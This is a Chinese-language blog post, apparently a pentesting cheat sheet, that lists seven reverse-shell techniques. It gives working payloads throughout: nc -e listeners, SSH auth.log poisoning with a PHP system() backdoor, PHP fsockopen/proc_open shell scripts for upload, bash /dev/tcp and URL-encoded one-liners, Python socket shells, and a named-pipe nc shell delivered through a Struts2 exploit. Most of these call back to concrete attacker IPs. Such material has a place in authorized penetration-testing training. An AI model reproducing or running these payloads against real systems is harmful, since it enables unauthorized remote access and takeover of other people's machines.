反shell方法

反shell方法

shell 开启回显 python -c "import pty;pty.spawn('/bin/bash')"

方法一 利用nc完成反shell 适用webshell

适用于对方网页有webshell

  1. kali先开启nc端口监听

    nc -lvvp 监听端口

  2. 让对方电脑里的nc一启动就自动连接

    /bin/nc -e /bin/bash 自己ip 监听的端口号

方法二 php利用登录日志植入反shell脚本 适用对方html语句有函数调用

  1. F12查看是否有函数调用或者收集信息找到对方的用户名在url框php后门输入?+猜想的用户名=命令或文件+挨个试如果

    如果元素页显示就说明有这个功能

  2. 使用var/log/auth.log查看日志

  3. 存在登录日志就在kali里执行ssh远程登录脚本

    ssh '<?php system($_GET['用户名']);? >'@对方IP -p 对方ssh端口号

  4. kali开启nc监听nc -lvvp 端口号

  5. 在url里输入

    (http://10.9.47.172(对方ip)/info.php?zc=/var/log/auth.log&xl(调用我方植入的函数)=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.47.187",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')

  6. 就可以反shell

方法三 网页后台有php源码利用php反shell脚本

<?php $ip='10.9.47.187'; $port=10002; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>

  1. 在网页的后台源码里放入这个脚本

  2. 在nc里开启脚本里的端口

  3. 在url框运行这个脚本

    such as :themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/在此路径下写入php脚本然后再搜索框里运行

方法四 php文件上传反shell

  1. 上传php反shell脚本
php 复制代码
  <?php
   $ip='kali IP';
   $port=10002;
   $sock = fsockopen($ip, $port);
   $descriptorspec = array(
   0 => $sock,
   1 => $sock,
   2 => $sock
   );
   $process = proc_open('/bin/sh', $descriptorspec, $pipes);
   proc_close($process);
   ?>

上面不能用就用下面

php 复制代码
   <?php
$sock = fsockopen("10.4.7.3", "10002");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);
?>
  1. 在源代码中找到这个脚本复制链接在浏览器里打开就会运行此代码,kali开启nc监听就可以

方法五 最常用的bash -c 'bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1'

这是最常用的反shell

这个是url编码后的

bash±c+%27bash±i+%3e%26+%2fdev%2ftcp%2f自己ip%2f监听端口+0%3e%261%27

配合nc一起用

方法六 python shell

python 复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.182.36",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python 复制代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.3",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

方法七管道通信

先在tmp下创建一个管道文件

mknod /tmp/文件名 p

在用shell命令连接

/bin/sh 0</tmp/文件名 | nc ip port 1>/tmp/文件名

示例

python2 exploit.py "http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd"

http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd"`

相关推荐
CatalyzeSec3 天前
工具推荐-testssl
测试工具·web安全·渗透
vortex54 天前
红队规范:减少工具上传,善用系统自带程序
安全·网络安全·渗透
渗透测试老鸟-九青13 天前
面试经验分享 | 杭州某安全大厂渗透测试岗
经验分享·安全·网络安全·面试·渗透·漏洞·代码审计
Sol_913 天前
Tr0ll: 1 Vulnhub靶机渗透笔记
笔记·网络安全·渗透·靶机
CatalyzeSec20 天前
Android渗透环境配置教程
android·web安全·渗透
vortex51 个月前
玩转 Burp Suite (1)
安全·网络安全·渗透·burpsuite
vortex51 个月前
渗透的本质是信息收集——一点思考
安全·web安全·渗透·信息收集